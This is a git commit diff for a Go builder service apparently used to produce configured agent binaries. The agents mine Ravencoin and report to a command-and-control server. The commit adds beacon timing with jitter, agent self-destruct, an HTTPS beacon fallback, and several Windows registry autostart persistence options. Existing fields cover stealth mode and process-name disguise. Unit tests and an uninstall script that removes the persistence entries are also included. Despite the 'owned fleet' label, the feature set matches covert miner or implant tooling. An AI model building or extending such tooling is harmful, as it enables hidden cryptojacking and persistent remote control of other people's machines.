feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -39,6 +39,12 @@ type BuildRequest struct {
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
AutostartMode string `json:"autostart_mode"`
|
||||
RegistryPersistence string `json:"registry_persistence"`
|
||||
RegistryRunHKCU bool `json:"registry_run_hkcu"`
|
||||
RegistryRunHKLM bool `json:"registry_run_hklm"`
|
||||
RegistryRunOnce bool `json:"registry_run_once"`
|
||||
RegistryExplorerRun bool `json:"registry_explorer_run"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
@@ -97,6 +103,13 @@ type BuildRequest struct {
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
|
||||
// Connection profile — C2 beacon timing and agent self-destruct
|
||||
BeaconIntervalSec int `json:"beacon_interval_sec"`
|
||||
BeaconJitterPct int `json:"beacon_jitter_pct"`
|
||||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.db != nil {
|
||||
user := ""
|
||||
if u, _, ok := r.BasicAuth(); ok {
|
||||
user = u
|
||||
}
|
||||
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
|
||||
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
|
||||
})
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("download") == "1" {
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
||||
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.Persistence {
|
||||
req.AutoStart = true
|
||||
}
|
||||
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
|
||||
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.ProcessName == "" {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
AutostartMode: %q,
|
||||
RegistryPersistence: %q,
|
||||
RegistryRunHKCU: %v,
|
||||
RegistryRunHKLM: %v,
|
||||
RegistryRunOnce: %v,
|
||||
RegistryExplorerRun: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
|
||||
BeaconIntervalSec: %d,
|
||||
BeaconJitterPct: %d,
|
||||
AgentKillAfterDays: %d,
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
strings.TrimSpace(req.AutostartMode),
|
||||
strings.TrimSpace(req.RegistryPersistence),
|
||||
req.RegistryRunHKCU,
|
||||
req.RegistryRunHKLM,
|
||||
req.RegistryRunOnce,
|
||||
req.RegistryExplorerRun,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
time.Now().Unix(),
|
||||
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
req.BeaconIntervalSec,
|
||||
req.BeaconJitterPct,
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
)
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
}
|
||||
for _, u := range req.BackupServerURLs {
|
||||
if strings.TrimSpace(u) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func httpsBeaconAfterMin(req *BuildRequest) int {
|
||||
if req.HTTPSBeaconAfterMin > 0 {
|
||||
return req.HTTPSBeaconAfterMin
|
||||
}
|
||||
return 3
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
|
||||
@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "AutostartMode") {
|
||||
t.Error("expected AutostartMode field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlatformLabelAndBinDir(t *testing.T) {
|
||||
|
||||
41
server/internal/builder/registry_persistence.go
Normal file
41
server/internal/builder/registry_persistence.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package builder
|
||||
|
||||
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
|
||||
func normalizeRegistryPersistence(req *BuildRequest) {
|
||||
if req == nil {
|
||||
return
|
||||
}
|
||||
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
|
||||
return
|
||||
}
|
||||
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
|
||||
return
|
||||
}
|
||||
count := 0
|
||||
if req.RegistryRunHKCU {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunOnce {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunHKLM {
|
||||
count++
|
||||
}
|
||||
if req.RegistryExplorerRun {
|
||||
count++
|
||||
}
|
||||
if count == 1 {
|
||||
switch {
|
||||
case req.RegistryRunHKCU:
|
||||
req.RegistryPersistence = "hkcu_run"
|
||||
case req.RegistryRunOnce:
|
||||
req.RegistryPersistence = "hkcu_run_once"
|
||||
case req.RegistryRunHKLM:
|
||||
req.RegistryPersistence = "hklm_run"
|
||||
case req.RegistryExplorerRun:
|
||||
req.RegistryPersistence = "explorer_run"
|
||||
}
|
||||
return
|
||||
}
|
||||
req.RegistryPersistence = "combined"
|
||||
}
|
||||
30
server/internal/builder/registry_persistence_test.go
Normal file
30
server/internal/builder/registry_persistence_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run_once" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "combined" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
RegistryPersistence: "hkcu_run",
|
||||
RegistryRunHKLM: true,
|
||||
}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run" {
|
||||
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
|
||||
Write-Host "Removing persistence..."
|
||||
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
|
||||
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
|
||||
|
||||
if (%s) {
|
||||
Write-Host "Removing Windows Firewall rules..."
|
||||
|
||||
@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
|
||||
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
|
||||
script := generateUninstallScript("build-id", req)
|
||||
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
|
||||
if !strings.Contains(script, frag) {
|
||||
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "office-pc",
|
||||
|
||||
Reference in New Issue
Block a user